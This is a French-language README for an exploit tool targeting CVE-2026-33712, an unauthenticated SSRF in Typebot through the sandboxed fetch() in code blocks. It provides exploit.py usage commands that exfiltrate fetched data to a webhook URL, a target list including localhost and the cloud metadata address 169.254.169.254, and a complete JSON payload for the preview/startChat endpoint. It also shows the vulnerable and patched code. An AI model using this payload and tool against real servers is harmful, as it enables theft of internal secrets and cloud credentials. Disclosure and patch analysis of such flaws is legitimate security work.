
CVE-2026-33712 - Typebot <= 3.15.2 SSRF non authentifié via le fetch du sandbox isolated-vm
Typebot <= 3.15.2 (corrigé dans la 3.16.0) contient une vulnérabilité de falsification de requête côté serveur (SSRF) non authentifiée dans le point de terminaison de prévisualisation du chat.
Point de terminaison : POST /api/v1/typebots/{typebotId}/preview/startChat
Le point de terminaison de prévisualisation accepte une définition de typebot fournie par l'utilisateur avec des blocs de code côté serveur. La fonction fetch() exposée dans le bac à sable isolated-vm appelle le fetch natif de Node.js sans la validation SSRF validateHttpReqUrl() qui protège le bloc de requête HTTP standard. Cela contourne toutes les mesures d'atténuation SSRF.
Cet outil est fourni à des fins éducatives et pour des tests de sécurité autorisés uniquement. Toute utilisation non autorisée contre des systèmes dont vous n'êtes pas propriétaire ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. L'auteur n'est pas responsable de toute utilisation abusive ou des dommages causés par cet outil.
__ENV.js| Fichier | Description |
|---|---|
exploit.py | Script d'exploitation principal |
endpoints.txt | Une URL par ligne — cibles SSRF à scanner |
requirements.txt | Dépendances Python |
pip install -r requirements.txt
# Requête SSRF unique
python3 exploit.py -t bot.example.com -u http://127.0.0.1:3000/__ENV.js -w https://webhook.site/your-uuid
# Scanner toutes les URLs de endpoints.txt
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan
# Détection automatique de l'URL de la visionneuse depuis le __ENV.js du constructeur
python3 exploit.py -t 192.168.1.10:3011 -w https://webhook.site/your-uuid --detect-viewer --scan
# Ignorer la pré-vérification et forcer l'exécution
python3 exploit.py -t bot.example.com -w https://webhook.site/your-uuid --scan --force
| Arg | Description |
|---|---|
-t / --target | URL de l'instance Typebot (visionneuse ou constructeur). Le schéma par défaut est http:// |
-u / --url | URL interne à récupérer via SSRF (mode unique) |
-w / --webhook | URL du webhook pour les données exfiltrées (ou variable d'environnement WEBHOOK_URL) |
--scan | Scanner toutes les URLs de endpoints.txt |
--detect-viewer | Sonder /__ENV.js sur la cible pour trouver NEXT_PUBLIC_VIEWER_URL et l'utiliser |
--force | Ignorer les vérifications préliminaires et forcer l'exécution |
--timeout | Délai d'attente de la requête (défaut : 20s) |
--delay | Délai entre les requêtes de scan (défaut : 0,3s) |
bot.example.com sans http://, il est préfixé automatiquement.vulnerable, patched (authentification requise) ou endpoint_missing (mauvaise URL/version). Se termine prématurément en cas d'échec sauf si --force est défini.endpoints.txt, parcourt chaque URL, exfiltre le contenu vers le webhook.Une URL brute par ligne. Les lignes vides sont ignorées. Pas de commentaires, pas de catégories.
http://127.0.0.1:3000/__ENV.js
http://typebot-builder:3000/
http://169.254.169.254/latest/meta-data/
Dans packages/variables/src/executeFunction.ts, la fonction fetch() exposée dans le bac à sable isolated-vm appelait à l'origine le fetch natif de Node.js sans validation SSRF :
// VULNÉRABLE (<=3.15.2) :
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const res = await fetch(input, init); // Pas de validateHttpReqUrl !
return res.text();
}),
});
// CORRIGÉ (>=3.16.0) :
globalThis.fetch = (...args) => $0.apply(undefined, args, {
new Reference(async (...fetchArgs) => {
const [input, init] = fetchArgs;
const request = new Request(input, init);
await validateHttpReqUrl(request.url); // Vérification SSRF ajoutée
validateHttpReqHeaders(headers);
}),
});
Le correctif (commit d96f572) a également réorganisé les vérifications dans getTypebot() afin que la validation d'authentification s'exécute avant le raccourci de typebot personnalisé, et a déplacé le point de terminaison de prévisualisation de la visionneuse de procedureWithOptionalUser vers protectedProcedure.
{
"typebotId": "exploit-id",
"typebot": {
"version": "6",
"id": "exploit-bot",
"workspaceId": "test",
"updatedAt": "2026-01-01T00:00:00.000Z",
"groups": [
{
"id": "group-1", "title": "Start",
"graphCoordinates": {"x": 0, "y": 0},
"blocks": [
{"id": "block-1", "type": "start", "label": "Start", "outgoingEdgeId": "edge-1"}
]
},
{
"id": "group-2", "title": "SSRF",
"graphCoordinates": {"x": 200, "y": 0},
"blocks": [
{
"id": "block-2", "type": "Code",
"outgoingEdgeId": "edge-2",
"options": {
"name": "SSRF",
"content": "const res = await fetch(\"http://127.0.0.1:3000/\"); setVariable(\"result\", res);",
"isExecutedOnClient": false,
"isUnsafe": true
}
}
]
}
],
"edges": [
{"id": "edge-1", "from": {"blockId": "block-1"}, "to": {"groupId": "group-2"}}
],
"events": [
{"id": "event-1", "type": "start", "outgoingEdgeId": "edge-1", "graphCoordinates": {"x": 0, "y": 0}}
],
"variables": [
{"id": "var-1", "name": "result", "value": null}
],
"settings": {"general": {}},
"theme": {"general": {}, "chat": {}}
}
}
Important : fetch() dans le bac à sable retourne déjà .text(), donc le résultat est une chaîne de caractères, pas un objet Response.